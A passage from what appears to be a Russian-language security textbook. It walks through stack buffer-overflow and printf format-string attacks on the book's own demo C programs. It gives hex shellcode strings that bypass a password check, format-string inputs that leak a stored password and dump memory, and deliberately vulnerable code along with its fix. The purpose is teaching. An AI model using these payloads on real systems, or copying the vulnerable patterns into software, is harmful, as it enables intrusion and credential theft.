Ниже всех в стеке находится адрес возврата из процедуры “main” (0x401262), за ним следует значение регистра EBP (0x12FFC0), сохраненное в функции main() командной PUSH EBP в строке 0х40106C, затем идет модифицированный адрес возврата их функции “Auth” (0x401000), а выше расположен буфер, содержащий имя пользователя.

При выходе из функции Auth() команда retn снимает двойное слово из стека (равное теперь 0x401000) и передает на него управление. Но при выходе из функции root() команда retn извлекает двойное слово, равное 0x12FFC0, и передает на него управление. По этому адресу находятся случайные данные, поэтому поведение программы становится непредсказуемым.

Однако это не уменьшает значимости того факта, что функция Root получила управление (чего не могло произойти при нормальном ходе вещей) и была успешно выполнена. Аварийное завершение приложения - побочный эффект такой операции. Он приводит к блокировке ресурса, демаскирует атакующего и позволяет администратору системы установить, что же с ней произошло, поэтому такой подход в некоторых случаях неприемлем.

Кроме того, вовсе не факт, что в атакуемом коде всегда будет присутствовать функция, удовлетворяющая потребности злоумышленника. Но существует возможность передать управление на свой код! Для этого достаточно скорректировать адрес возврата таким образом, чтобы он указывал на начало [310] буфера, содержащего введенную пользователем строку. Тогда эта строка станет интерпретироваться как машинный код и выполнится прямо в стеке (не все микропроцессоры и не все операционные допускают выполнение кода в стеке, но в подавляющем большинстве случаев такой трюк возможен).

Для того чтобы передать управление на начало буфера необходимо знать его адрес. Дизассемблирование в этом вряд ли поможет, поскольку не дает представления о значении регистра ESP в момент вызова программы, поэтому необходимо воспользоваться отладчиком. Для платформы Windows хорошо себя зарекомендовал Soft-Ice от NuMega, но для экспериментов, описываемых в книге, вполне подойдет и отладчик, интегрированный в Microsoft Visual Studio.

Установив точку останова в строке 0x0401028, необходимо запустить программу на выполнение и, дождавшись «всплытия» отладчика, и посмотреть на значение регистра EAX. Предыдущая команда только что занесла в него адрес буфера, предназначенного для ввода имени пользователя. Под Windows 2000 он равен 0x12FF6C, но под Windows 98 - 0x63FDE4. Это происходит по той причине, что нижняя граница стека в различных операционных системах разная. Поэтому, программные реализации атак подобного типа очень чувствительны к используемой платформе.

В двадцать восемь байт двух буферов (и еще четыре байта регистра EBP в придачу) очень трудно затолкать код, делающий нечто полезное, однако, в подавляющем большинстве случаев в атакуемых программах присутствуют буфера гораздо большего размера. Но для демонстрации принципиальной возможности передачи своего собственного кода на сервер, вполне достаточно выполнить одну команду “MOV EAX,1”, заносящую в регистр EAX ненулевое значение. Тогда, независимо от введенного пароля, аутентификации будет считаться успешной, ибо:

· if (auth())

· printf("Password ok\n");

· else

· printf("Invalid password\n");

Строка, передающая управление на начало буфера имени пользователя, под Windows 2000 в шестнадцатеричном представлении должна выглядеть так: “???????????????????????????????? 6C FF 12”, а под Windows 98 (Windows 95) так: “???????????????????????????????? E4 FD 63”.

Опкод команды “MOV EAX, const” равен “B8 x x x x”, где “x” обозначает каждый байт константы. Так, например, “MOV EAX, 0x31323334” в шестнадцатеричном представлении выглядит так: "B8 34 33 32 31”.

Вернуть управление основному телу программы можно множеством способов, например, воспользоваться командной перехода JMP. Но конструкция “JMP label” неудобна в обращении, поскольку в микропроцессорах серии Intel 80x86 метка представляет собой относительное смещение, отсчитываемое от адреса следующей за JMP команды. Т.к. расположение стека (а вместе с ним и команды JMP) варьируется в зависимости от операционной системы, то полученный код окажется системно-зависимым. Поэтому, лучше воспользоваться регистровой адресацией: “JMP reg”, где reg - 32-разрядный регистр общего назначения.

Однако на передаваемый во вводимой строке код наложены определенные ограничения. Например, с клавиатуры невозможно ввести символ нуля, поэтому команду MOV REG, 0x00401081 [311]” использовать не получится. Для решения этой проблемы необходимо найти регистр уже содержащий нуль в старшем байте. При помощи отладчика нетрудно убедиться, что старшие 16 бит регистра ECX равны “0x40”, поэтому остается скорректировать младшее слово командой MOV CX,0x1018. В результате получается следующий код:

· MOV EAX,0x31323334
· MOV CX, 0x1081
· JMP ECX

Перевести ассемблерный листинг в машинный код можно, например, с помощью утилиты HIEW, предварительно переведя его в 32 разрядный режим. Если все сделать правильно, в результате работы должно получится следующее:

· 00000000: B834333231 mov eax,031323334;"1234"

· 00000005: 66B98110 mov cx,01081;">?"

· 00000009: FFE1 jmp ecx

А строка, которую необходимо набрать вместо имени пользователя в шестнадцатеричном представлении полностью выглядит так: “B8 34 33 32 31 66 B9 81 10 FF E1?????????? 6C FF 12 [312]”, где “??” любой байт. Некоторые из этих символов невозможно непосредственно ввести с клавиатуры, поэтому приходится прибегать к помощи клавиши Alt.

Другой способ заключается в использовании перенаправления ввода. Для этого необходимо создать файл приблизительно следующего содержания (на диске, прилагаемом к книге, он расположен в директории “/SRC” и называется “buff.demo.2000.key”)

· 00000000: B8 34 33 32 31 66 B9 81 ¦ 10 FF E1 66 66 66 66 66 ¬4321f¦Б> сfffff

· 00000010: 6C FF 12 0D 0A 0D 0A ¦ l ¦d0d0

Он состоит из двух строк, завершаемых последовательностью «CRLF», представляющих собой имя пользователя и пароль. А запускать его необходимо следующим образом: “buff.demo.exe «buff.demo.2000.key”. После завершения работы программы экран должен выглядеть приблизительно так:

· F:\TPNA\src»buff.demo.exe

· Buffer Overflows Demo

· Login:¬1234f¦Б^P с12345l ^R

· Passw:

· Password ok

Таким образом, ошибка программиста привела к возможности передачи управления на код злоумышленника и позволила ему проникнуть в систему еще на стадии аутентификации! Кстати, некоторые версии UNIX содержали ошибку переполнения буфера при вводе имени пользователя или пароля, поэтому рассмотренный выше пример трудно назвать надуманным.

Поскольку, при запуске программы из-под Windows 98, буфер имени пользователя располагается по другому адресу, то необходимо скорректировать адрес возврата с 0x12FF6C на 0x63FDE4 (кстати, в Windows 98 не работает клавиша Alt и единственный путь ввести строку - воспользоваться перенаправлением ввода):

· 00000000: B8 34 33 32 31 66 B9 81 ¦ 10 FF E1 66 66 66 66 66 ¬4321f¦Б> сfffff

· 00000010: E4 FD 63 0D 0A 0D 0A ¦ l ¦d0d0

Однако при попытке ввода такой строки происходит аварийное закрытие приложения. Отладчик позволяет установить, что управление получает не требуемый код, а какой-то непонятный мусор. Оказывается, операционная система Windows 98 портит содержимое стека, расположенное выше указателя (т.е. в младших адресах). Такое поведение является вполне нормальным, поскольку сохранность памяти, лежащей выше указателя стека не гарантируется. Экспериментально удается установить, с адреса 0x63FDE8 начинается неиспорченный «кусочек» стека, который пригоден для размещения кода.

Одина из возможных реализаций атаки, работающей под управлением Windows 98, показана ниже (на диске, прилагаемом к книге, она содержится в файле “/SRC/buff.demo.98.key”):

· 00000000: 31 32 33 34 B8 01 02 03 ¦ 04 66 B9 81 10 FF E1 31 1234¬OO¦¦f¦Б> с1

· 00000010: E8 FD 63 0D 0A 31 32 33 ¦ 34 0D 0A ш¤cd01234d0

Четыре байта в начале строки - произвольны. Они необходимы лишь затем, чтобы сместить исполняемый код в непортящийся регион стека. Соответственно необходимо скорректировать адрес возврата, передавая управление не на начало буфера (которое окажется затерто), а на первый байт исполняемого кода.

Ниже приведен результат использования такой строки под управлением Windows 98. Это работает! (При перенаправлении ввода, вводимая строка не отображается на экране, потому имя и пароль отсутствуют):

· buff.demo.exe «buff.demo.98.key

· Buffer Overflows Demo

· Login:Passw:Password ok

Для предотвращения переполнения буфера программистам рекомендуют использовать функции, позволяющие явно указывать максимальное количество считываемых с клавиатуры символов. Но этот прием сам по себе еще не гарантирует неуязвимость приложения. Например, в примере, приведенном ниже, на первый взгляд все как будто бы нормально (на диске, прилагаемом к книге, этот пример содержится в файле “/SRC/buff.printf.c”):

· #include «string.h»
·
· void main()
· {
· FILE *psw;
· char buff[32];
· char user[16];
· char pass[16];
· char _pass[16];
·
· printf("printf bug demo\n");
· if (!(psw=fopen("buff.psw","r"))) return;
· fgets( amp;_pass[0],8,psw);
·
· printf("Login:");fgets( amp;user[0],12,stdin);
· printf("Passw:");fgets( amp;pass[0],12,stdin);
·
· if (strcmp( amp;pass[0], amp;_pass[0]))
· sprintf( amp;buff[0],"Invalid password: %s", amp;pass[0]);
· else
· sprintf( amp;buff[0],"Password ok\n");
·
· printf( amp;buff[0]);
·
·}

Все строки, читаемые как с клавиатуры, так и из файла паролей, гарантированно влезают в отведенный им буфер и ни при каких обстоятельствах не могут выйти за его границы. При условии, что у злоумышленника нет доступа к файлу “buff.psw”, содержащего пароли пользователей [313], он никак не сможет обойти защиту [314]. Кажется, в десятке строк трудно ошибиться, и никаких дыр тут нет.

Психологическая инерция подводит и на этот раз. И, видимо, не только разработчиков, но, в том числе, и злоумышленников, поскольку тип атаки, описанный ниже, не получил большого распространения. Поэтому, многие из приложений, считающиеся защищенными, все же содержат грубые ошибки, позволяющие легко и незаметно проникнуть в систему.

Речь идет о «большой дыре» в функции “printf”, вернее дыра находится не в одной конкретной функции (тогда бы она могла бы быть безболезненно устранена), а в самом языке Си. Одни из его недостатков заключается в том, что функция не может определить сколько ей было передано параметров. Поэтому, функциям с переменным количеством аргументов, приходится каким-то образом передавать и число этих самых аргументов.

Функция “printf” использует для этой цели строку спецификаторов, и ее вызов может выглядеть, например, так: “printf(“Name: %s\nAge: %d\nIndex: %x\n”, amp;s[0],age,index)”. Количество спецификаторов должно быть равно количеству передаваемых функции переменных. Но что произойдет, если равновесие нарушится?

Возможно два варианта - переменных больше, чем спецификаторов и переменных меньше, чем спецификаторов. Пока количество спецификаторов не превышает количества переданных параметров, не происходит ничего интересного, поскольку, из стека аргументы удаляются не самой функцией, а вызывающим ее кодом (который уж наверняка знает, сколько аргументов было передано) разбалансировки стека не происходит и все работает нормально. Но если количество спецификаторов превышает количество требуемых аргументов, функция, пытаясь прочитать очередной аргумент, обратится к «чужим» данным! Конкретное поведение кода зависит от компилятора и содержимого стека на момент вызова функции “printf”.

Сказанное будет рассмотрено ниже на примере следующей программы (на диске, прилагаемом к книге, она находится в файле “/SRC/printf.bug”):

· #include «stdio.h»
·
· main()
· {
· int a=0x666;
· int b=0x777;
· printf("%x %x\n",a);
·
·}
·

Если ее откомпилировать с помощью Microsoft Visual Studio 5.0-6.0, результат работы окажется следующий:

Программа выдала два числа, несмотря на то, что ей передавали всего одну переменную ‘a’. Каким же образом она сумела получить значение ‘b’? (а в том, что ‘777’ это действительно значение переменной ‘b’ сомневаться не приходится). Ответить на этот вопрос помогает дизассемблирование:

·.text:00401000 main proc near.text:00401000

·.text:00401000 var_8 = dword ptr -8

·.text:00401000 var_4 = dword ptr -4

·.text:00401000

·.text:00401000 push ebp

·.text:00401001 mov ebp, esp

·.text:00401001; Открывается кадр стека

·.text:00401003 sub esp, 8

·.text:00401003; Относительное значение esp равно 0 (условно)

·.text:00401006 mov [ebp+var_4], 666h

·.text:00401006 ; var_4 - это переменная a, которую компилятор расположил в стеке

·.text:0040100D mov [ebp+var_8], 777h

·.text:0040100D ; var_8 - это переменная b

·.text:00401014 mov eax, [ebp+var_4]

·.text:00401014 ; В регистр eax загружается значение переменной 'a’ для передачи его функции printf

·.text:00401017 push eax

·.text:00401017 ;В стек заносится значение переменной eax

·.text:00401018 push offset aXX; "%x %x\n"

·.text:00401018; В стек заносится указатель на строку спецификаторов

·.text:00401018; Содержимое стека на этот момент такого

·.text:00401018; +8 off aXX (‘%x %x’) (строка спецификаторов)

·.text:00401018; +4 var_4 (‘a’) (аргумент функции printf)

·.text:00401018; 0 var_8 (‘b’) (локальная переменная)

·.text:00401018; -4 var_4 (‘a’) (локальная переменная)

·.text:0040101D call printf

·.text:0040101D; Вызов функции printf

·.text:00401022 add esp, 8

·.text:00401022; Выталкивание аргументов функции из стека

·.text:00401025 mov esp, ebp

·.text:00401025; Закрытие кадра стека

·.text:00401027 pop ebp

·.text:00401028 retn

·.text:00401028 main endp

Итак, содержимое стека на момент вызова функции printf такого (смотри комментарии к дизассемблированному листингу) [315]:

· +8 off aXX (‘%x %x’) (строка спецификаторов)

· +4 var_4 (‘a’) (аргумент функции printf)

· 0 var_8 (‘b’) (локальная переменная)

· -4 var_4 (‘a’) (локальная переменная)

Но функция не знает, что ей передали всего один аргумент, - ведь строка спецификаторов требует вывести два (“%x %x). А поскольку аргументы в Си заносятся слева на право, самый левый аргумент расположен в стеке по наибольшему адресу. Спецификатор “%x” предписывает вывести машинное слово [316], переданное в стек по значению. Для сравнения - вот как выглядит стек на момент вызова функции “printf” в следующей программе (на диске, прилагаемом к книге, она расположена в файле “/SRC/printf.demo.c”):

· main()
· {
· int a=0x666;
· int b=0x777;
· printf("%x %x\n",a,b);
·
·}

· +12 off aXX (‘%x %x’) (строка спецификаторов)

· +08 var_4 (‘a’) (аргумент функции printf)

· +04 var_8 (‘b’) (аргумент функции printf)

· 00 var_8 (‘b’) (локальная переменная)

· -04 var_4 (‘a’) (локальная переменная)

Дизассемблированный листинг в книге не приводится, поскольку он практически ни чем не отличается от предыдущего (на диске, прилагаемом к книге, он расположен в файле “/SRC/printf.demo.lst”). В стеке по относительному смещению [317] +4 расположен второй аргумент функции. Если же его не передать, то функция примет за аргумент любое значение, расположенное в этой ячейке.

Поэтому, несмотря на то, что функции была передана всего лишь одна переменная, она все равно ведет себя так, как будто бы ей передали полный набор аргументов (а что ей еще остается делать?):

· +8 off aXX (‘%x %x’) (строка спецификаторов)

· +4 var_4 (‘a’) (аргумент функции printf)

· 0 var_8 (‘b’) (локальная переменная)

· -4 var_4 (‘a’) (локальная переменная)

Разумеется, в нужном месте стека переменная ‘b’ оказалась по чистой случайности. Но в любом случае - там были бы какие-то данные. Определенным количеством спецификаторов можно просмотреть весь стек - от верхушки до самого низа! Весьма велика вероятность того, что в нем окажется данные, интересные злоумышленнику. Например, пароли на вход в систему.

Теперь становится понятной ошибка, допущенная разработчиком buff.printf.c. Ниже приведен дизассемблированный листинг с подробными пояснениями (на диске, прилагаемом к книге, он находится в файле “/SRC/demo.printf.lst”):

·.text:00401000; --------------- S U B R O U T I N E ---------------------------------------

·.text:00401000

·.text:00401000; Attributes: bp-based frame

·.text:00401000

·.text:00401000 main proc near; CODE XREF: start+AFp

·.text:00401000

·.text:00401000 var_54 = byte ptr -54h

·.text:00401000 var_44 = byte ptr -44h

·.text:00401000 var_34 = byte ptr -34h

·.text:00401000 var_14 = dword ptr -14h

·.text:00401000 var_10 = byte ptr -10h

·.text:00401000

·.text:00401000 push ebp

·.text:00401001 mov ebp, esp

·.text:00401001 ; Открытие кадра стека

·.text:00401003 sub esp, 54h

·.text:00401003 ; Резервируется 0x54 байта для локальных переменных

·.text:00401006 push offset aPrintfBugDemo; "printf bug demo\n"

·.text:00401006 ; Занесение в стек строки “ printf bug demo"

·.text:0040100B call _printf

·.text:0040100B ; Вызов printf(“printf bug demo\n")

·.text:00401010 add esp, 4

·.text:00401010 ; Балансировка стека

·.text:00401013 push offset aR; "r"

·.text:00401013 ; Занесение в стек смещения строки “r”

·.text:00401018 push offset aBuff_psw; "buff.psw"

·.text:00401018; Занесение в стек смещения строки “buff.psw”

·.text:0040101D call _fopen

·.text:0040101D; Вызов fopen(“buff.psw”,”r”);

·.text:00401022 add esp, 8

·.text:00401022; Балансировка стека

·.text:00401025 mov [ebp+var_14], eax

·.text:00401025; Переменная var_14 представляет собой указатель файла psw

·.text:00401028 cmp [ebp+var_14], 0

·.text:00401028; Файл открыт успешно?

·.text:0040102C jnz short loc_0_401033

·.text:0040102C ; Файл открыт успешно! Продолжение выполнения программы

·.text:0040102E jmp loc_0_4010CD

·.text:0040102E ; Файл открыт неуспешно, переход к выходу

·.text:00401033; ---------------------------------------------------------------------------

·.text:00401033

·.text:00401033 loc_0_401033:; CODE XREF: main+2Cj

·.text:00401033 mov eax, [ebp+var_14]

·.text:00401033 ; Занесение в регистр EAX указателя на файловый манипулятор psw

·.text:00401036 push eax

·.text:00401036 ; Заталкивание psw в стек

·.text:00401037 push 8

·.text:00401037 ; Заталкивание в стек константы 8

·.text:00401039 lea ecx, [ebp+var_54]

·.text:00401039 ; Занесение в регистр ECX смещения начала буфера var_54

·.text:0040103C push ecx

·.text:0040103C ; Заталкивание его в стек

·.text:0040103D call _fgets

·.text:0040103D ;Вызов fgets( amp;_pass[0],8,psw)

·.text:0040103D ;Буфер var_54 представляет собой _pass

·.text:00401042 add esp, 0Ch

·.text:00401042 ;Балансировка стека

·.text:00401045 push offset aLogin; "Login:"

·.text:00401045 ; Заталкивание в стек смещения строки “Login:”

·.text:0040104A call _printf

·.text:0040104A ;Вызов printf(“Login:”)

·.text:0040104F add esp, 4

·.text:0040104F ; Балансировка стека

·.text:00401052 push offset off_0_407090

·.text:00401052 ; Заталкивание в стек указателя на манипулятор stdin

·.text:00401057 push 0Ch

·.text:00401057 ; Заталкивание в стек константы 0xC

·.text:00401059 lea edx, [ebp+var_10]

·.text:00401059 ; Занесение в регистр EDX указателя на буфер var_10 (user)

·.text:0040105C push edx

·.text:0040105C ; Заталкивание его в стек

·.text:0040105D call _fgets

·.text:0040105D ; Вызов ( amp;user[0],0xC,stdin)

·.text:00401062 add esp, 0Ch

·.text:00401062 ; Балансировка стека

·.text:00401065 push offset aPassw; "Passw:"

·.text:00401065 ; Заталкивание в стек указателя на строку Passw

·.text:0040106A call _printf

·.text:0040106A ; Вызов printf(“Passw:”)

·.text:0040106F add esp, 4

·.text:0040106F ; Балансировка стека

·.text:00401072 push offset off_0_407090

·.text:00401072 ;Заталкивание в стек указателя на манипулятор stdin

·.text:00401077 push 0Ch

·.text:00401077 ; Заталкивание в стек константы 0xC

·.text:00401079 lea eax, [ebp+var_44]

·.text:00401079 ; Занесение в регистр EAX указателя на буфер var_44 (pass)

·.text:0040107C push eax

·.text:0040107C ; Заталкивание его в стек

·.text:0040107D call _fgets

·.text:0040107D ; fgest( amp;pass[0],0xC,stdin)

·.text:00401082 add esp, 0Ch

·.text:00401082 ; Балансировка стека

·.text:00401085 lea ecx, [ebp+var_54]

·.text:00401085 ; Занесение в регистр ECX указателя на буфер var_54 (_pass)

·.text:00401088 push ecx

·.text:00401088 ; Заталкивание его в стек

·.text:00401089 lea edx, [ebp+var_44]

·.text:00401089 ; Занесение в регистр EDX указателя на буфер var_54 (pass)

·.text:0040108C push edx

·.text:0040108C ; Заталкивание его в стек

·.text:0040108D call _strcmp

·.text:0040108D ; Вызов strcmp( amp;_pass[0], amp;pass[0])

·.text:00401092 add esp, 8

·.text:00401092 ; Балансировка стека

·.text:00401095 test eax, eax

·.text:00401095 ; Введен правильный пароль?

·.text:00401097 jz short loc_0_4010B0

·.text:00401097; Переход, если введен правильный пароль

·.text:00401099 lea eax, [ebp+var_44]

·.text:00401099 ; Занесение в регистр EAX указателя на буфер var_44 (pass)

·.text:0040109C push eax

·.text:0040109C ; Заталкивание его в стек

·.text:0040109D push offset aInvalidPasswor; "Invalid password: %s"

·.text:0040109D ; Заталкивание в стек указателя на строку “Invalid password: %s”

·.text:004010A2 lea ecx, [ebp+var_34]

·.text:004010A2 ; Занесение в регистр ECX указателя на буфер var_34 (buff)

·.text:004010A5 push ecx

·.text:004010A5 ; Заталкивание его в стек

·.text:004010A6 call _sprintf

·.text:004010A6 ; Вызов sprintf( amp;buff[0],”Invalid password: %s”, amp;pass[0])

·.text:004010AB add esp, 0Ch

·.text:004010AB; Балансировка стека

·.text:004010AE jmp short loc_0_4010C1

·.text:004010B0; ---------------------------------------------------------------------------

·.text:004010B0

·.text:004010B0 loc_0_4010B0:; CODE XREF: main+97j

·.text:004010B0 push offset aPasswordOk; "Password ok\n"

·.text:004010B0; Заталкивание в стек указателя на строку “Password ok”

·.text:004010B5 lea edx, [ebp+var_34]

·.text:004010B5 ; Занесение в регистр EDX указателя на начало буфера var_34 (buff)

·.text:004010B8 push edx

·.text:004010B8 ; Заталкивание его в стек

·.text:004010B9 call _sprintf

·.text:004010B9 ; Вызов spritnf( amp;buff[0],”Password ok\n”);

·.text:004010BE add esp, 8

·.text:004010BE ; Балансировка стека

·.text:004010C1

·.text:004010C1 loc_0_4010C1:; CODE XREF: main+AEj

·.text:004010C1 lea eax, [ebp+var_34]

·.text:004010C1 ; Занесение в регистр EAX указателя на начало буфера var_34 (buff)

·.text:004010C4 push eax

·.text:004010C4 ; Заталкивание его в стек

·.text:004010C4 ; Состояние стека (жирным шрифтом выделен аргумент функции printf)

·.text:004010C4; -0x04 var_34 (buff)

·.text:004010C4; 0x00 var_54 (_pass)

·.text:004010C4; -0x10 var_44 (pass)

·.text:004010C4; -0x20 var_34 (buff)

·.text:004010C4; -0x40 var_14 (psw)

·.text:004010C4; -0x44 var_10 (user)

·.text:004010C5 call _printf

·.text:004010C5 ; Вызов printf( amp;buff[0])

·.text:004010CA add esp, 4

·.text:004010CA ; Балансировка стека

·.text:004010CD

·.text:004010CD loc_0_4010CD:; CODE XREF: main+2Ej

·.text:004010CD mov esp, ebp

·.text:004010CD ; Закрытие кадра стека, освобождение локальных переменных

·.text:004010CF pop ebp

·.text:004010CF ; Восстановление регистр EBP

·.text:004010D0 retn

·.text:004010D0 ; Выход из-под программы

·.text:004010D0 main endp

Таким образом, состояние стека на момент вызова функции pritnf следующее (передаваемый аргумент выделен жирным шрифтом):

· -0x04 var_34 (buff)

· 0x00 var_54 (_pass)

· -0x10 var_44 (pass)

· -0x20 var_34 (buff)

· -0x40 var_14 (psw)

· -0x44 var_10 (user)

Если спецификаторов окажется больше, чем параметров, то функция начнет читать… содержимое буфера, в котором находится оригинальный пароль! По чистой случайности он оказался на верхушке стека, но даже если бы он был расположен ниже, это бы не изменило положения вещей, поскольку функции “printf “доступен весь кадр стека.

В программе функция вызывается без спецификаторов «printf( amp;buff[0])», но, ей передается указатель на начало буфера buff, который содержит сырую, не фильтрованную строку, введенную пользователем в качестве пароля, а она может содержать все что угодно, в том числе и спецификаторы.

Следующий эксперимент демонстрирует, как можно использовать такую ошибку программиста для проникновения в систему (то есть, подсматривания эталонного пароля, считанного из файла):

· buff.printf.exe

· printf bug demo

· Login:kpnc

· Passw:%x %x %x

· Invalid password: 5038394b a2a4e 2f4968

Для «расшифровки» ответа программы необходимо перевернуть каждое двойное слово, поскольку в микропроцессорах Intel младшие байты располагаются по меньшим адресам. В результате этого получается следующее:

Таким образом, искомый пароль равен “K98PN*”. Если ввести его в программу (с соблюдением регистра), то результат ее работы должен выглядеть так:

· buff.printf.exe

· printf bug demo

· Login:kpnc

· Passw:K98PN*

· Password ok

Попытка использования спецификатора “%s” приведет вовсе не к выводу строки в удобно читаемом виде, а аварийному завершению приложения. Это продемонстрировано на рисунке, приведенном ниже:

Такое поведение объясняется тем, что функция, встретив спецификатор “%s”, ожидает увидеть указатель на строку, а не саму строку. Поэтому, происходит попытка обращения по адресу 0x5038384B (“K98PN” в символьном представлении), который находится вне пределов досягаемости программы, что и вызывает исключение.

Спецификатор “%s” пригоден для отображения содержимого указателей, которые так же встречаются в программах. Это можно продемонстрировать с помощью следующего примера [318] (на диске, прилагаемом к книге, он содержится в файле “/SRC/buff.printf.%s.c”):

· #include «stdio.h»
· #include «string.h»
· #include «malloc.h»
·
· void main()
· {
· FILE *f;
· char *pass;
· char *_pass;
· pass= (char *)malloc(100);
· _pass=(char *)malloc(100);
· if (!(f=fopen("buff.psw","r"))) return;
· fgets(_pass,100,f);
· _pass[strlen(_pass)-1]=0;
· printf("Passw:");fgets(pass,100,stdin);
· pass[strlen(pass)-1]=0;
· //…
· printf(pass);
·}

На этот раз буфера размещены не в стеке, а в куче, области памяти выделенной функцией malloc, и в стеке считанного пароля уже не содержится. Однако вместо самого буфера в стеке находится указатель на него! Используя спецификатор “%s”, можно вывести на экран строку, расположенную по этому адресу. Например, это можно сделать так:

· buff.printf.%s.exe
· Passw:%s
· K98PN*

Кроме того, с помощью спецификатора “%s” можно получить даже код (и данные) самой программы! Другими словами, существует возможность прочитать содержимое любой ячейки памяти, доступной программе. Это происходит в том случе, когда строка, введенная пользователем, помещается в стек (а это происходит очень часто). Пример, приведенный ниже, как раз и иллюстрирует такую возможность (на диске, прилагаемом к книге, он находится в файле “/SRC/buff.pritnf.dump.c”):

· #include «stdio.h»
· #include «string.h»
·
· void main()
· {
· char buff[16];
· printf("printf dump demo\n");
· printf("Login:");
· fgets( amp;buff[0],12,stdin);
· buff[strlen(buff)-1]=0;
· printf(buff);
·}
·

Строка “%x%sXXXX” выдаст на экран строку, расположенную по адресу “XXXX”. Спецификатор “%x” необходим, чтобы пропустить четыре байта, в которых расположена подстрока “%x%s”. На сам же адрес “XXXX” наложены некоторые ограничения. Так, например, с клавиатуры невозможно ввести символ с кодом нуля.

Следующий пример выдает на экран содержимое памяти, начиная с адреса 0x401001 в виде строки (то есть, до тех пор, пока не встретится нуль, обозначающий завершение строки). Примечательно, что для ввода символов с кодами 0x1, 0x10 и 0x40 оказывается вполне достаточно клавиши Ctrl.

· buff.printf.dump.exe

· printf dump demo

· Login:%x%s^A^P@

· 73257825ЛьГь>h0`@O>@

Четыре первые байта ответа программы выданы спецификатором “%x", а последние представляют собой введенный указатель. А сама строка расположена с пятого по тринадцатый байт. Если ее записать в файл и дизассемблировать, например, с помощью qview, то получится следующее (последний байт очевидно равен нулю, поскольку именно он послужил концом строки):

· 00000020: 8BEC mov ebp,esp

· 00000022: 83EC10 sub esp,00000010

· 00000025: 6830604000 push 00406030

А вот как выглядит результат дизассемблирования файла demo.printf.dump.exe с помощью IDA:

· text:00401000 sub_0_401000 proc near; CODE XR

· text:00401000

· text:00401000 var_11 = byte ptr -11h

· text:00401000 var_10 = byte ptr -10h

· text:00401000

· text:00401000 55 push ebp

· text:00401001 8B EC mov ebp, esp

· text:00401003 83 EC 10 sub esp, 10h

· text:00401006 68 30 60 40 00 push offset aPrintfDumpDemo;

· text:0040100B E8 DB 01 00 00 call sub_0_4011EB

Нетрудно убедится в том, что они идентичны. Манипулируя значением указателя можно «вытянуть» весь код программы. Конечно, учитывая частоту появления нулей в коде, придется проделать огромное множество операций, прежде чем удастся «перекачать» программу на собственный компьютер. Но, во-первых, процесс можно автоматизировать, а во-вторых, чаще всего существуют и другие пути получения программного обеспечения, а наибольший интерес для вторжения на чужой компьютер представляют весьма компактные структуры данных, как правило, содержащие пароли.

Спецификатор “%c” читает двойное слово из стека и усекает его до байта. Поэтому, в большинстве случаев он оказывается непригоден. Так, если в примере buff.printf.demo попытаться заменить спецификатор “%x” на спецификатор “%c” результат работы будет выгядеть так:

· buff.printf.exe

· printf bug demo

· Login:kpnc

· Passw:%c%c

· Invalid password: KN

Программа выдала не первый и второй символы пароля, а… первый и пятый! Поэтому, от надежды получить пароль в удобочитаемом виде приходится отказываться, возвращаясь к использованию спецификатора “%x”.

Описанная методика, строго говоря, никаким боком не относится к переполнению буфера и никак не может воздействовать на стек. Однако чтение содержимого стека способно нанести не меньший урон безопасности системы, чем традиционное переполнение буфера. О существовании уязвимости в функции printf догадываются не все программисты, поэтому-то большинство приложений, считающиеся надежными, могут быть атакованы подобным образом.

Для устранения угрозы проникновения систему некоторые разработчики пытаются фильтровать ввод пользователя. Но это плохое решение, поскольку пользователь вполне может выбрать себе пароль наподобие «Kri%s» и будет очень удивлен, если система откажется его принять. Но существует простой и элегантный выход из ситуации, который продемонстрирован в листинге, приведенном ниже: (на диске, прилагаемом к книге, он находится в файле “/SRC/buff.printf.nobug.c”):

· #include «stdio.h»
· #include «string.h»
·
·
· void main()
· {
· FILE *psw;
· char buff[32];
· char user[16];
· char pass[16];
· char _pass[16];
·
· printf("printf bug demo\n");
· if (!(psw=fopen("buff.psw","r"))) return;
· fgets( amp;_pass[0],8,psw);
·
· printf("Login:");fgets( amp;user[0],12,stdin);
· printf("Passw:");fgets( amp;pass[0],12,stdin);
·
· if (strcmp( amp;pass[0], amp;_pass[0]))
· sprintf( amp;buff[0],"Invalid password: %s", amp;pass[0]);
· else
· sprintf( amp;buff[0],"Password ok\n");
·
· printf("%s", amp;buff[0]);
·
·}

От файла demo.printf.c он отличается всего одной строкой, которая выделена жирным шрифтом. Только самый левый аргумент функции printf может содержать в себе спецификаторы, во всех остальных случаях они будут проигнорированы. Это доказывает следующий эксперимент:

· buff.printf.nobug.exe

· printf bug demo

· Login:kpnc

· Passw:%x

· Invalid password: %x

Теперь никакая строка, введенная пользователем, не сможет вызвать непредсказуемого поведения программы! И нет никакой необходимости прибегать к фильтрации ввода, которая сама по себе чревата внесением новых ошибок! Для выявления всех уязвимых мест в программе достаточно воспользоваться шаблонным поиском.

Ошибки, приводящие к переполнению буфера, выявить сложнее. Попытка протестировать программу на строках непомерной длины не всегда дает желаемый результат. Во многих случаях ошибки проявляются только при вводе строк определенной длины. Как раз такую ситуацию и демонстрирует следующий пример (на диске, прилагаемом к книге, он находится в файле “/SRC/buff.arg.c”):

· #include «stdio.h»
· #include «string.h»
·
· void main (int argc, char ** argv)
· {
· char buff[10];
· if (argc«2) return;
· if ( strlen(argv[1])»10 ) return;
· strcpy( amp;buff[0], amp;argv[1][0]);
·}

Это ошибка особенно распространена среди начинающих программистов, но порой встречается и у профессионалов. Строка длиной в десять байт не может поместиться в десятибайтовый буфер, поскольку на ее конце находится завершающий нуль! В результате один байт «вылезает» из буфера! Но все строки длиннее десяти символов отсекаются программой, и ошибка проявляется только на десяти символьных строках!

Ошибка переполнения в один байт встречается достаточно часто. К этому приводит путаница между длинами и индексами массивов, начинающихся с нуля; выполнение операции сравнения до модификации переменной; небрежное обращение с условиями выхода из цикла и т.д. Существует даже шуточное выражение «ошибка в плюс-минус один байт!», один из способов устранения которой заключается в подгонке значения «капризных» переменной уменьшением или увеличением их значения на единицу.

Например, если “if (p»strlen(str)) break” не работает, то некоторые программисты «прыгают блохой» на единицу назад “if (p»(strlen(str)-1)) break” [319]. Но если «ошибка в плюс-минус один байт» не проявит себя на тестовых прогонах программы, она имеет шанс дожить до финальной версии и вместе с ней попасть на компьютер потенциальной жертвы.

